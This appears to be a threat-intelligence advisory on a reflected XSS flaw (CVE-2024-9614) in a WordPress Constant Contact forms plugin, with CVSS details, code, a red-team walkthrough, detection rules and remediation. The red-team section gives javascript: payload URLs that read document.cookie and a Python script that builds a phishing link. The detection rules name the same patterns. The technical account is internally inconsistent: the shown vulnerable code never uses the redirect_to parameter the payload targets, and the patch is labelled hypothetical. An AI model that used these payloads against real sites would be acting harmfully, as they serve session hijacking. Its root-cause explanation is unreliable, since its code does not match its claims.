CVE-2024-9614

Executive Summary

CVE-2024-9614 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Constant Contact Forms by MailMunch plugin for WordPress, affecting all versions up to and including 2.1.2. The vulnerability arises from the insecure use of add_query_arg without proper escaping on URL parameters, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the WordPress context. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch elevates risk for unmonitored installations.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. No supply chain compromise has been identified, but the absence of a patch means site administrators must manually apply mitigations or remove the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): Required (R) – Victim must click a link.
• Scope (S): Changed (C) – Affects resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (6.1). Exploitation is straightforward but requires user interaction. The lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s URL handling logic. The add_query_arg function is used to construct URLs without escaping the output, allowing an attacker to inject malicious JavaScript via a crafted query parameter. When a victim clicks the malicious link, the injected script executes in the context of the victim’s WordPress session.

Root Cause: The plugin uses add_query_arg to build URLs for redirects or links, but the resulting URL is output directly into the page without proper escaping (e.g., esc_url() or htmlspecialchars()). This allows an attacker to break out of the URL attribute and inject arbitrary HTML/JavaScript.

Attack Vector: An attacker crafts a URL like:

https://victim-site.com/?page=constant-contact&_wpnonce=123&redirect_to=javascript:alert('XSS')

When the plugin processes this, it outputs the redirect_to parameter unsanitized, leading to XSS.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.1.2):

$url = add_query_arg( array( 'page' => 'constant-contact', '_wpnonce' => wp_create_nonce() ), admin_url( 'admin.php' ) );
echo '<a href="' . $url . '">Click here</a>';

The $url is not escaped before output.

Patched Code (hypothetical):

$url = add_query_arg( array( 'page' => 'constant-contact', '_wpnonce' => wp_create_nonce() ), admin_url( 'admin.php' ) );
echo '<a href="' . esc_url( $url ) . '">Click here</a>';

Using esc_url() ensures the URL is safe for output.

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Use a WordPress instance with the vulnerable plugin (version 2.1.2).
2. Craft Payload: Create a URL with a malicious redirect_to parameter:

   http://target/wp-admin/admin.php?page=constant-contact&_wpnonce=123&redirect_to=javascript:alert(document.cookie)
   

3. Deliver: Send the link via phishing email or social engineering.
4. Execute: When the victim clicks, the JavaScript executes in their session.

Example Exploit (Python):

import requests

target = "http://target-site.com/wp-admin/admin.php"
params = {
    "page": "constant-contact",
    "_wpnonce": "123",
    "redirect_to": "javascript:alert('XSS')"
}
# Victim must click this link
print(f"Send this link: {target}?{requests.compat.urlencode(params)}")

Blue Team (Defender)

1. Detection: Monitor for unusual query parameters containing javascript: or data: schemes.
2. Mitigation: Implement a Web Application Firewall (WAF) rule to block such patterns.
3. User Training: Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Patterns: redirect_to=javascript:* or redirect_to=data:* in admin URLs.
• Log Entries: HTTP requests to /wp-admin/admin.php with page=constant-contact and suspicious redirect_to values.
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress admin interface.

Detection Engineering

YARA Rule

rule CVE_2024_9614_XSS {
    meta:
        description = "Detects reflected XSS in Constant Contact Forms by MailMunch"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9614"
    strings:
        $xss_payload = /redirect_to\s*=\s*(javascript|data|vbscript):/i
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS via Constant Contact Forms by MailMunch
id: cve-2024-9614
status: experimental
description: Detects attempts to exploit CVE-2024-9614 via malicious redirect_to parameter
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page=constant-contact'
        cs-uri-query|re: 'redirect_to=(javascript|data|vbscript):'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in admin URLs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9614 Reflected XSS in Constant Contact Forms by MailMunch"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page=constant-contact"; http_uri; pcre:"/redirect_to=(javascript|data|vbscript):/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the Constant Contact Forms by MailMunch plugin until a patch is released.
2. Temporary: Add a WAF rule to block requests containing redirect_to=javascript: or similar patterns.
3. Long-term: Monitor the plugin’s official page for updates. Apply the patch as soon as it becomes available.
4. User Education: Train users to avoid clicking suspicious links, especially those containing javascript: in the URL.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert